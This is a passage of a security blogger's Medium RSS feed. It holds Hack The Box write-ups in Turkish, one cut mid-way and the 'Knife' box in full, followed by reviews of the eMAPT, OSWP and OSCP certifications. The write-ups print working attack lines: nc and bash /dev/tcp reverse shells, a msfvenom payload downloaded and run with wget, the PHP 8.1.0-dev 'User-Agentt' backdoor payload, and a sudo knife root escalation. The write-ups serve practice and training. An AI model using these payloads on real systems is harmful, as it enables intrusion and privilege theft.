10.10.11.107</pre><pre>?</pre><pre>exec id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uXHcQMLvkV_hbSEm" /></figure><p>Ardından hedef sistem üzerinden reverse shell alabilmek için aşağıdaki reverse shell komutu exec komutu ile beraber çalıştırılmıştır.</p><p>Bunun için aşağıdaki komutu kullanabilirsiniz.</p><pre>exec bash -c &#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.14.22 7777 &gt;/tmp/f&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qiOdlRaj0Qhb30Lc" /></figure><p>Yukarıdaki komutu çalıştırmadan önce hedef sistem üzerinde reverse shell alınacak bağlantı noktası dinlemeye geçilmiştir.</p><pre>nc -lvp 7777</pre><pre>ls -l</pre><pre>cat user.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/0*0B3V-8Q3oSiCvic6" /></figure><p>Ardından hedef sistem üzerindeki ilk hedef olan “user.txt” dosyasının içeriği görüntülenmiştir.</p><h4>user.txt</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/0*9kAfBSYez_B795k0" /></figure><h3>Yetki Yükseltme</h3><p>Yukarıdaki tespitlerde görebileceğiniz üzere hedef sistem üzerinde “lp” kullanıcısı haklarında oturum elde edilmiştir. Bu aşamada hedef olarak sunulan “root.txt” dosyasını tespit edebilmek için Linux sistemlerdeki en yetkili kullanıcı (root) haklarının elde edilmesi gerekmektedir. Bundan dolayı Linux yetki yükseltme kapsamında hedef sistem üzerinde numaralandırma işlemi gerçekleştirilmiştir.</p><p>Bu kapsamda otomatize bir script ile tüm sistemi numaralandırmak isterseniz aşağıdaki scripti kullanabilirsiniz.</p><ul><li><a href="https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh">https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh</a></li></ul><p>Ya da manuel olarak adım adım inceleyerek numaralandırma işlemi gerçekleştirmek isterseniz aşağıda URL bilgisi verilen sayfadan faydalanabilirsiniz.</p><ul><li><a href="https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/">https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/</a></li></ul><p>Hedef sistem üzerinde numaralandırma işlemi gerçekleştirilirken 631 numaralı portun açık olduğu ve yerel olarak çalıştığı gözlemlenmiştir.</p><p>İlgili tespit için aşağıdaki komutu kullanabilirsiniz.</p><pre>netstat -ant</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2GSJAlm7OES6N8J9" /></figure><p>Ardından ilgili port için Google üzerinde araştırmalar gerçekleştirilmiş ve 631 numaralı port üzerinde IPP protokolünün hizmet verdiği gözlemlenmiştir. IPP protokolü incelendiğinde ise IPP’nin HTTP tabanlı olduğu tespit edilmiştir. Bu tespitler sonrası hedef sistemin bir web sitesi olarak ele alınması gerektiği çıkarımında bulunulmuştur.</p><p>İlgili detaylara aşağıdaki URL bilgisi verilen sayfalar üzerinden erişim sağlayabilirsiniz.</p><ul><li><a href="https://www.speedguide.net/port.php?port=631">https://www.speedguide.net/port.php?port=631</a></li><li><a href="https://book.hacktricks.xyz/pentesting/pentesting-631-internet-printing-protocol-ipp">https://book.hacktricks.xyz/pentesting/pentesting-631-internet-printing-protocol-ipp</a></li></ul><p>Tüm bu bilgiler doğrultusunda hedef sistem üzerinde 631 portunda yer alan sayfa “wget” aracı kullanılarak indirilmiş ve içeriği görüntülenmiştir.</p><p>Bu aşamada aşağıdaki komutları kullanabilirsiniz.</p><pre>wget <a href="http://localhost:631/">http://localhost:631</a></pre><pre>ls -l</pre><pre>cat index.html</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YAdyrtB7iLYL8q9p" /></figure><p>İlgili sayfa incelenip detaylar araştırıldığında bilindik IPP uygulamalarından biri olan CUPS uygulamasının 1.6.1 versiyonun var olduğu gözlemlenmiştir. Ardından ilgili versiyon üzerinde yetki yükseltmeye olanak sağlayacak zafiyetlerin varlığı araştırılmıştır.</p><p>İlgili ekran görüntüsü aşağıda verilmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ka6b84kRnKM6goGJ" /></figure><p>Gerçekleştirilen araştırmalar sonucunda aşağıda URL bilgisi verilen ilgili zafiyetler tespit edilmiştir. Bu aşamada söz konusu uygulamanın bulunduğu versiyonda hem RCE zafiyetine karşı hem de root dosyalarını okumaya karşı zafiyetler içerdiği gözlemlenmiştir.</p><p>İlgili zafiyetlere ait detaylar aşağıda URL bilgileri verilen sayafalarda yer almaktadır.</p><ul><li><a href="https://www.rapid7.com/db/modules/post/multi/escalate/cups_root_file_read/">https://www.rapid7.com/db/modules/post/multi/escalate/cups_root_file_read/</a></li><li><a href="https://www.infosecmatter.com/metasploit-module-library/?mm=post/multi/escalate/cups_root_file_read">https://www.infosecmatter.com/metasploit-module-library/?mm=post/multi/escalate/cups_root_file_read</a></li></ul><p>Ardından metasploit üzerinde ilgili modüller aranmıştır. Bu kapsamda iki modül tespit edilmiştir.</p><pre>msfconsole -q</pre><pre>search cups</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7zZBSpTPHV4MGFQf" /></figure><p>İlgili modüllerden birincisinin “post” ile başladığını gözlemleyebilirsiniz. Bu durum şu anlama gelmektedir; bu modülün yerel olarak çalışması gerekmektedir ve bu şekilde çalışması için ise bir oturum gerekmektedir. Bundan dolayı ilk olarak hedef sistem üzerinde meterpreter oturumu elde edilmelidir. Bu kapsamda “msfvenom” kullanılarak reverse shell oluşturulmuştur.</p><p>İlgili shell dosyasını oluşturmak için aşağıdaki komut kullanılmıştır.</p><pre>msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.22 LPORT=9999 — format elf &gt; shellll</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*imlX7qLIY2y_pJBA" /></figure><p>Ardından öncelikli olarak python3 ile HTTP sunucu başlatılmıştır.</p><pre>python3 -m http.server 80</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qgB83wAVeWUtmTzN" /></figure><p>Hedef sisteme ilgili reverse shell dosyası “wget” komutu kullanılarak yüklenmiştir ve ilgili dosyaya çalıştırma hakkı verilmiştir.</p><pre>wget “http://10.10.14.22/shellll&quot;</pre><pre>ls -l</pre><pre>chmod +x shelll</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8fRm-QDYbJJcZ0jC" /></figure><p>Ardından metasploit tarafında “exploit/multi/handler” modülü üzerinde gerekli yapılandırma ayarları gerçekleştirilmiş ve reverse shell alınacak ilgili port dinlemeye geçilmiştir.</p><pre>msfconsole -q</pre><pre>use exploit/multi/handler</pre><pre>set PAYLOAD linux/x64/meterpreter/reverse_tcp</pre><pre>set LHOST 10.10.14.22</pre><pre>set LPORT 8888</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6y3mRamOBJ1HE8I8" /></figure><p>Daha sonra shell dosyası çalıştırılmış ve ilgili session kullanılmak üzere arka plana atılmıştır.</p><p>İlgili komutlar aşağıda verilmiştir.</p><pre>./shellll</pre><pre>run</pre><pre>getuid</pre><pre>bg</pre><pre>search cups</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7F_9Sb8YR6ywn-16" /></figure><p>Bu aşamada dosya okumak için ilgili post modülü seçilmiş ve gerekli yapılandırma ayarları gerçekleştirilmiştir. Ardından ilgili modül çalıştırılmış ve söz konusu hedef dosyanın başarılı bir şekilde elde edildiği gözlemlenmiştir.</p><p>İlgili komutlar aşağıda verilmiştir.</p><pre>use 0</pre><pre>show options</pre><pre>set FILE /root/root.txt</pre><pre>set SESSION 2</pre><pre>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6GhdY2rORn025ow37hDxJw.png" /></figure><h4>root.txt</h4><p>Son olarak ise hedef sistem üzerindeki bir diğer hedef olan “root.txt” dosyasınin içeriği görüntülenmiştir.</p><pre>cat /home/kali/.msf4/loot/20220303143522_default_10.10.11.107_cups_file_read_857182.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8IOIosOw1ET1Quw4pocF0w.png" /></figure><p>🥂👩🏻‍💻</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=42fc1da01148" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Knife]]></title>
            <link>https://brcyrr.medium.com/hack-the-box-knife-316c78c537f6?source=rss-9f1d75736c13------2</link>
            <guid isPermaLink="false">https://medium.com/p/316c78c537f6</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[easy]]></category>
            <dc:creator><![CDATA[Burcu YARAR]]></dc:creator>
            <pubDate>Thu, 17 Feb 2022 11:20:01 GMT</pubDate>
            <atom:updated>2022-03-04T06:34:39.353Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box — Knife</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*LzKDc_Q89PB_DQSNaKZGQg.png" /></figure><h3>Port Tarama</h3><p>İlk olarak hedef sistem üzerinde full port tarama işlemi gerçekleştirilir.</p><h4>Full Port Tarama</h4><p>Gerçekleştirilen full port tarama işlemi sonrası açık olduğu tespit edilen portlar aşağıda verilmiştir.</p><pre>nmap -p- — open -vvv 10.10.10.242 -oN fps.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MKjbZvNnjo7GadZf" /></figure><p>Gerçekleştirilen full port tarama işlemi sonrası açık olduğu tespit edilen portlar aşağıda verilmiştir.</p><pre>22/tcp</pre><pre>80/tcp</pre><h4>Versiyon Tarama</h4><p>Ardından açık olduğu tespit edilen portlar üzerinde versiyon ve script taraması gerçekleştirilmiştir.</p><pre>nmap -p 22,80 -sV -sC -vvv 10.10.10.242 -oN vs.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*T3PVqgOFvB1CDDPt" /></figure><h3>Bilgi Toplama</h3><h4>Port 80</h4><p>İlgili adres tarayıcı üzerinden görüntülendiğinde aşağıda ekran görüntüsü verilen sayfa ile karşılaşılmıştır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GjWuqlBVhhLeOTQX" /></figure><p>Ardından “wfuzz” aracı ile dizin tarama işlemi gerçekleştirilmiş ancak buradan herhangi bir detay elde edilmemiştir.</p><p>Bu tarama için aşağıdaki komutu kullanabilirsiniz;</p><pre>wfuzz — hc 400,404 -c -z file,/usr/share/wordlists/dirb/big.txt http://10.10.10.242/FUZZ</pre><p>Daha sonra “nikto” aracı ile zafiyet tarama işlemi gerçekleştirilmiştir.</p><pre>nikto --host=http://10.10.10.242/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kcphjqD_q1hI_mxt" /></figure><p>Burada dikkat çeken iki HTTP başlığı tespit edilmiştir:</p><pre>Server: Apache/2.4.41 (Ubuntu)</pre><pre>X-Powered-By: PHP/8.1.0-dev</pre><p>Ardından bu durum bir proxy aracı ile araya girerek de doğrulanmıştır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hbDoZvbwX4oIsaB1" /></figure><p>Daha sonra ilgili versiyonlar kapsamında Google üzerinden exploit araştırmaları gerçekleştirilmiştir. Bu aşamada “PHP/8.1.0-dev” versiyonunda hedef sistem üzerinde uzaktan kod çalıştırılmasına neden olan bir açıklık bulunduğu ve bunun Exploit-DB üzerinde yayınlanan bir exploiti var olduğu gözlemlenmiştir.</p><p>İlgili exploite dair detaylar aşağıdaki gibidir;</p><pre><a href="https://www.exploit-db.com/exploits/49933">https://www.exploit-db.com/exploits/49933</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W0H5i_ba_v2uL9zB" /></figure><h3>Zafiyetin Tespiti</h3><p>İlgili exploit incelendiğinde PHP’nin söz konusu sürümü bir sunucuda çalışıyorsa, saldırganın “User-Agentt” başlığını göndererek hedef sistem üzerinde rastgele kod çalıştırabileceği ifade edilmektedir.</p><p>Bunu tespit etmek amacıyla BurpSuite ile araya girilerek ilgili isteğin başlıkları arasına “User-Agentt” başlığı eklenmiş ve ilgili istek gerçekleştirimiştir. Gerçekleştirilen isteğe ait dönen yanıt incelendiğinde hedef sistem üzerinde kod çalıştırabilindiği gözlemlenmiştir.</p><p>Eklenen başlık bilgisi, gerçekleştirilen istek ve dönen yanıta ait detaylar aşağıda verilmiştir.</p><pre>User-Agentt: zerodiumsystem(&quot;id&quot;);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NE3f27BOExsOkfdh" /></figure><h3>Zafiyetin İstismarı</h3><p>Bu aşamada hedef sistem üzerinden reverse shell alabilmek için ilgili başlık içerisine reverse shell kodu eklenmiştir. İlgili istek gerçekleştirilmiş ve hedef sistem üzerinden başarılı bir şekilde oturum elde edilmiştir.</p><p>Eklenen başlık bilgisi, gerçekleştirilen istek ve oturumun başarılı bir şekilde elde edilmesine ait detaylar aşağıda verilmiştir.</p><pre>User-Agentt: zerodiumsystem(&quot;/bin/bash -c &#39;bash -i &gt;&amp;/dev/tcp/10.10.14.2/7777 0&gt;&amp;1&#39;&quot;);</pre><pre>nc -lvp 7777</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RHryC3ZZBSsBhHCr" /></figure><p>Ek olarak ilgili exploitin aşağıdaki github reposu üzerindeki scriptini kullanarak da istismar işlemini gerçekleştirebilirsiniz.</p><pre><a href="https://github.com/flast101/php-8.1.0-dev-backdoor-rce">https://github.com/flast101/php-8.1.0-dev-backdoor-rce</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Or-vtZNHbahhWrl8" /></figure><p>Ardından hedef sistem üzerindeki ilk hedef olan “user.txt” dosyasının içeriği görüntülenmiştir.</p><h4>user.txt</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/0*uuIORolPF543vHJs" /></figure><h3>Yetki Yükseltme</h3><p>Hedef sistem üzerinde görebileceğiniz üzere “james” kullanıcısının haklarında oturum elde edilmiştir. Bu aşamada hedef olarak sunulan “root.txt” dosyasını tespit edebilmek için Linux sistemlerdeki en yetkili kullanıcı (root) haklarının elde edilmesi gerekmektedir.</p><p>Bundan dolayı Linux yetki yükseltme kapsamında hedef sistem üzerinde numaralandırma işlemi gerçekleştirilmiştir. Bu kapsamda faydalanılabilecek komutların tamamını incelemek isterseniz daha öncesinde çok daha fazlasını paylaştığım <a href="https://brcyrr.medium.com/recommendations-of-oscp-433a08c86f27">OSCP Önerilerimi</a> inceleyebilirsiniz.</p><p>Gerçekleştirilen numaralandırma işlemi esnasında “james” kullanıcısının “sudo -l ” komutu ile hangi ayrıcalıklara sahip olduğunu incelediğimizde söz konusu kullanıcının parola koruma olmaksızın “/usr/bin/knife” uygulamasını “root” hakları ile çalıştırabileceği gözlemlenmiştir.</p><p>İlgili tespite ait detaylar aşağıda verilmiştir.</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LDJMd1JsZUGt8ItBKs4pPg.png" /></figure><p>Ardından ilgili uygulama dosyasının içeriği incelenmiş ve birçok paketin içe aktarıldığı Ruby gerekliliği olan bir uygulama olduğu gözlemlenmiştir.</p><p>İlgili tespite ait detaylar aşağıda verilmiştir.</p><pre>cat /usr/bin/knife</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zNL6yjEcjAGyD06y" /></figure><p>Ardından ilgili uygulama sudo haklarında başlatmak için aşağıdaki syntax kullanılmış ve çıktısı incelenmiştir.</p><p>Söz konusu çıktıya ait örnek ekran görüntüsü aşağıda verilmiştir.</p><pre>sudo /usr/bin/knife</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/0*LDlkNjAb_7cXMzEZ" /></figure><p>İlgili çıktı incelendiğinde bu komutun yapabileceği birçok işlem olduğu gözlemlenmiştir, ancak buradaki “exec” komutu dikkat çekmektedir. Bu aşamada “knife” komutu hakkında Google üzerinde araştırmalar gerçekleştirilmiştir. Gerçekleştirilen araştırmalar sonucu <a href="https://brcyrr.medium.com/recommendations-of-oscp-433a08c86f27">OSCP Önerileri </a>içerisinde de yer alan <a href="https://gtfobins.github.io/gtfobins/knife/">GTFOBins</a> üzerinde aşağıda verilen komut ile root haklarını elde edebileceğimiz tespit edilmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4Zl_ErAvRVvk2Vvz" /></figure><h4>root.txt</h4><p>Ardından ilgili komut hedef sistem üzerinde çalıştırılmış ve root hakları elde edilmiştir. Son olarak ise hedef sistem üzerindeki bir diğer hedefimiz olan “root.txt” dosyasınin içeriği görüntülenmiştir.</p><p>İlgili detaylar aşağıda verilmiştir.</p><pre>sudo knife exec -E &#39;exec &quot;/bin/sh&quot;&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/0*hKJKALq1CyuDf1iJ" /></figure><p>🥂👩🏻‍💻</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=316c78c537f6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Recommendations & Review of eMAPT]]></title>
            <link>https://brcyrr.medium.com/recommendations-review-of-emapt-819e72a27f06?source=rss-9f1d75736c13------2</link>
            <guid isPermaLink="false">https://medium.com/p/819e72a27f06</guid>
            <category><![CDATA[android]]></category>
            <category><![CDATA[mobileapplicationsecurity]]></category>
            <category><![CDATA[emapt]]></category>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[elearnsecurity]]></category>
            <dc:creator><![CDATA[Burcu YARAR]]></dc:creator>
            <pubDate>Mon, 22 Mar 2021 07:52:37 GMT</pubDate>
            <atom:updated>2021-11-26T09:14:22.892Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/309/1*_Io_BddLsgkctxWKp6KH_Q.png" /></figure><p>Hi everyone!</p><p>As can be understood from the title; This article will include my review of the eMAPT certification process and my recommendations based on my preparation process. You can be sure that you will be certified when you follow the advice I give in the rest of the article. Before going into details, there is a point I want to make; The main reason I am writing about this certification process is that there are not “enough” resources on the internet regarding the relevant certificate. Therefore, I would like to thank the people who lead by writing a review for this certificate before entering the details.</p><h3>Review</h3><p>You can have an eMAPT certificate in two ways; By taking the certification exam without training ( with just a voucher code) or by taking the certification exam by getting training. If you have a certain level of experience in the field of mobile application security, if you have actively performed penetration tests for mobile applications, I think you can be successful by taking the certification exam directly without training (just by taking the voucher code). However, if you do not have sufficient knowledge in this field, if you know the subjects partially in theory but have not applied at all, I recommend you to get training and prepare for the certification exam because the documents are both instructive and aim to prepare you directly for the certification exam. If you are careful, you will notice that this training teaches you how to fish and also gives you fish at some points.👻</p><p>In general about the eMAPT process; I think its presented documents are of high quality and efficient. Here you need to know; you are not connecting to a remote live lab environment. When you access the lab environment, you can download the .apk files, documents, and videos for you to practice.</p><p>The last information I will convey within the scope of the review; After applying for the certification process, you must take the exam within six months. For the entrance to this certification exam, I think one month you will spend working in a planned and regular manner will be sufficient.</p><h3>Preparation</h3><h4>Roadmap</h4><ul><li>As I mentioned above, if you have experience in mobile application security, mobile penetration testing, it will be sufficient to know only basic android application development.</li><li>As I mentioned above, if you do not have enough knowledge and experience in this field, I strongly recommend that you get training. You can complete your process in the most efficient way by reading the documents, getting support from the videos where necessary, and doing exercises. These will really be enough for you to get the certificate.</li><li>If you want to obtain the certificate by making preliminary preparation for the certificate (without training — just by taking the voucher code), or if you want to improve yourself in the field of mobile application security, mobile penetration tests, you can use the resources I provide below under the heading “Useful Resources”.</li><li>In addition, I have great news! In 2022 (the last update 👩🏻‍💻), I will share a series of 8 articles on “Android Application Security”, including this certification preparation process. I believe this will be very beneficial for those who will prepare for this certificate.🥂</li></ul><h4>Useful Resources</h4><p>Under this heading; There are resources where you can learn detailed information about mobile application security, vulnerability applications that you can reinforce by applying the techniques you learned for eMAPT and more, and cheat sheets prepared in this area. I hope you find them useful too.</p><ul><li><a href="https://mobile-security.gitbook.io/mobile-security-testing-guide/">https://mobile-security.gitbook.io/mobile-security-testing-guide/</a></li><li><a href="https://appsecwiki.com/#/mobilesecurity">https://appsecwiki.com/#/mobilesecurity</a></li><li><a href="https://github.com/OWASP/owasp-mstg/">https://github.com/OWASP/owasp-mstg/</a></li><li><a href="https://pentester.land/cheatsheets/2018/10/12/list-of-Intentionally-vulnerable-android-apps.html">https://pentester.land/cheatsheets/2018/10/12/list-of-Intentionally-vulnerable-android-apps.html</a></li><li><a href="https://github.com/xtiankisutsa/awesome-mobile-CTF">https://github.com/xtiankisutsa/awesome-mobile-CTF</a></li><li><a href="https://mobexler.com/checklist.htm">https://mobexler.com/checklist.htm</a></li><li><a href="https://github.com/b-mueller/android_app_security_checklist">https://github.com/b-mueller/android_app_security_checklist</a></li><li><a href="https://www.mindmeister.com/1713501700?t=Rv9UQ7aC2t">https://www.mindmeister.com/1713501700?t=Rv9UQ7aC2t</a></li><li><a href="https://github.com/tjunxiang92/Android-Vulnerabilities">https://github.com/tjunxiang92/Android-Vulnerabilities</a></li><li><a href="https://www.raywenderlich.com/778533-encryption-tutorial-for-android-getting-started">https://www.raywenderlich.com/778533-encryption-tutorial-for-android-getting-started</a></li></ul><h3>Exam</h3><h4>Details</h4><p>First of all, I want to give brief information about the exam process;</p><ul><li>The exam takes seven days.</li><li>While education focuses on Android and iOS, the exam focuses only on Android applications.</li><li>In the exam, you are given two applications with vulnerabilities. First of all, you are expected to detect the vulnerabilities on these applications and then write your own malicious application that will allow you to take advantage of these vulnerabilities.😈</li><li>Finally, within the given time (seven days), you must submit the .apk and PoC code of your malicious application. You do not need to submit a separate penetration test report for this exam.</li></ul><h4>Tips and Tricks</h4><ul><li>The first and perhaps the only sentence you should not forget; “Nothing is being asked of you that is not taught to you.” Therefore, adjust your perspective accordingly and do not worry about it unnecessarily or unfocus on the wrong points.👩🏻‍💻</li><li>After completing the certificate application, be sure to review the correspondence under the heading “eMAPT” in the forum of the community, because you will find answers to many questions you have in mind here.🌟</li><li>While preparing for the exam, do not work memorized, with a straight perspective. Ask yourself questions and focus on the answers to those questions. For example; I am expected to write a Y application that exploits the X vulnerability. What could be the X vulnerability at this stage? etc. If you have purchased the training, you have those precious documents containing clear answers to these questions. Just think wisely and be careful.👻</li><li>While preparing for this certificate, learn to read the source codes of applications well. Believe me, this will be very useful both in the exam and in your business life.</li><li>Finally, as I always said; never give up!😈🥂👩🏻‍💻</li></ul><p>When you apply for all these, you will have your precious eMAPT certificate🌟</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*A_DVbGzeAS2vagFW" /></figure><p>View my verified achievement from @eLearnSecurity;</p><ul><li><a href="https://verified.elearnsecurity.com/certificates/6314a53d-59fd-4eda-a9e7-214b8eb91fc9">https://verified.elearnsecurity.com/certificates/6314a53d-59fd-4eda-a9e7-214b8eb91fc9</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=819e72a27f06" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Recommendations of OSWP]]></title>
            <link>https://brcyrr.medium.com/recommendations-of-oswp-c14ab45ae491?source=rss-9f1d75736c13------2</link>
            <guid isPermaLink="false">https://medium.com/p/c14ab45ae491</guid>
            <category><![CDATA[oswp]]></category>
            <category><![CDATA[tips]]></category>
            <category><![CDATA[cheatsheet]]></category>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[exam-preparation]]></category>
            <dc:creator><![CDATA[Burcu YARAR]]></dc:creator>
            <pubDate>Wed, 10 Feb 2021 06:10:09 GMT</pubDate>
            <atom:updated>2021-03-20T19:58:43.453Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*-1xwSVWMRHjakMDPaDbAGQ.png" /></figure><p>Hey you!</p><p>Do you want to have an OSWP certificate? If you have started to read the reviews and these suggestions come across, I would like to say that you are very lucky because this article will be a guide as in the previous <a href="https://brcyrr.medium.com/recommendations-of-oscp-433a08c86f27">OSCP</a> article, and I bet the certificate will be yours after following the roadmap I mentioned in this article.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M11a5oJ1yDGwLnbE9VRBtA.png" /></figure><p>First of all, want to explain why I didn’t write a review. I read many reviews about them before applying for certification exams. For this, I would like to thank everyone who contributed to these issues. After receiving the certificate; If I were preparing for this certificate now, what kind of resource would I like to see? I’m looking for the answer to the question. In this case, it directs me to write a guide that offers a more detailed roadmap than writing a review. In addition, I don’t like to tag things; hard, easy, right, wrong, etc. Hard for who!? Wrong for who!? I don’t find this right because these expressions can vary depending on everyone’s background knowledge and abilities. After this short introduction, I would like to share the road map I followed in this process in order to save time in your process.</p><h3>Hardware Resources</h3><p>The equipment I used to set up my own laboratory environment during the preparation phase is as follows.</p><p>Wireless Network Router:</p><ul><li>Netgear WNR1000v2</li></ul><p>Wireless Card:</p><ul><li>TP-LINK TL-WN722N</li></ul><h3>Roadmap &amp; Tips</h3><p>The road map I followed during the preparation phase is as follows.</p><ul><li>I read the PDF sent to me after the certificate application.</li><li>I watched the videos sent to me after the certificate application.</li><li>I did the exercises in the PDF. (If you have done security tests in the field of wireless networks, performing these attack scenarios once will be enough for you to pass the exam. If you have not, it will be enough to “understand” these attack scenarios once again.)</li><li>I grouped the attack scenarios I learned. (For example, I made an attack map that says; “If the network key that I came across is a network key using WEP encryption, I must do X attacks. If it is using WEP encryption and SKA authentication is available, I should do Y attacks, if not, I should do Z attacks.” In the meantime, in a review, I read this. I came across it and it was very successful in speeding up my own process.)</li><li>Finally, I created a cheat sheet that I will use during the exam.</li></ul><h3>Exam</h3><h4>Cheat Sheet</h4><p>The cheat sheet I used during the exam, the road map I followed and the attack map is available in the link below;</p><ul><li><a href="https://github.com/brcyrr/OSWP">https://github.com/brcyrr/OSWP</a></li></ul><p>You do not need to prepare an extra copy paper because all the details about the exam process are available in the repo I created. You can be sure that this will definitely do your job.</p><p>Most importantly, remember that the most important thing, both in this certificate and in your way of life, is to be on the road. Re-choose what you want to be/who you want to be and experience it every day 🥂</p><p>Finally; Never give up! #tryharder 😈</p><p>View my verified achievement from @offsectraining;</p><ul><li><a href="https://www.youracclaim.com/earner/earned/badge/291a14ea-6712-4fb5-b434-5149763b1950">https://www.youracclaim.com/earner/earned/badge/291a14ea-6712-4fb5-b434-5149763b1950</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c14ab45ae491" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Recommendations of OSCP]]></title>
            <link>https://brcyrr.medium.com/recommendations-of-oscp-433a08c86f27?source=rss-9f1d75736c13------2</link>
            <guid isPermaLink="false">https://medium.com/p/433a08c86f27</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[cheatsheet]]></category>
            <category><![CDATA[recommendations]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Burcu YARAR]]></dc:creator>
            <pubDate>Mon, 04 May 2020 09:41:27 GMT</pubDate>
            <atom:updated>2020-08-15T10:14:35.498Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*dunp7oguHArqzlU49-GX2Q.png" /></figure><p>Hi everyone!</p><p>As can be understood from the title; This article will serve as a guide to help you prepare for the exam rather than an OSCP review. There are hundreds of resources on the Internet that will benefit from OSCP preparation. I have read many of them in this process. However, in this article, in order to save you more time, I will suggest the resources I frequently use during the exam preparation.</p><h3>Preparation</h3><h3>Roadmap Blogs</h3><p>Between the reviews, I read during the preparation phase of the certificate, the three reviews I used as a reference while creating a roadmap for myself are as follows.</p><ul><li><a href="https://niiconsulting.com/checkmate/2017/06/a-detail-guide-on-oscp-preparation-from-newbie-to-oscp/">https://niiconsulting.com/checkmate/2017/06/a-detail-guide-on-oscp-preparation-from-newbie-to-oscp/</a></li><li><a href="https://www.abatchy.com/2017/03/how-to-prepare-for-pwkoscp-noob">https://www.abatchy.com/2017/03/how-to-prepare-for-pwkoscp-noob</a></li><li><a href="https://www.siberportal.org/information-technology-certifications/offensive-security-certified-professional-offensive-security/oscp-sertifikasyon-yolculugu-1-temel-bilgiler-egitim-oncesi-icin-tavsiyeler/">https://www.siberportal.org/information-technology-certifications/offensive-security-certified-professional-offensive-security/oscp-sertifikasyon-yolculugu-1-temel-bilgiler-egitim-oncesi-icin-tavsiyeler/</a></li></ul><h3>Resources Often Used During the Preparation</h3><h3>Enumeration</h3><p>The resources that I have taken as the basis for machine solution during preparation are as follows.</p><ul><li><a href="https://github.com/xapax/oscp/blob/master/templates/linux-template.md">https://github.com/xapax/oscp/blob/master/templates/linux-template.md</a> (for Linux)</li><li><a href="https://github.com/xapax/oscp/blob/master/templates/windows-template.md">https://github.com/xapax/oscp/blob/master/templates/windows-template.md</a> (for Windows)</li><li><a href="https://bitvijays.github.io/LFC-VulnerableMachines.html">https://bitvijays.github.io/LFC-VulnerableMachines.html</a></li><li><a 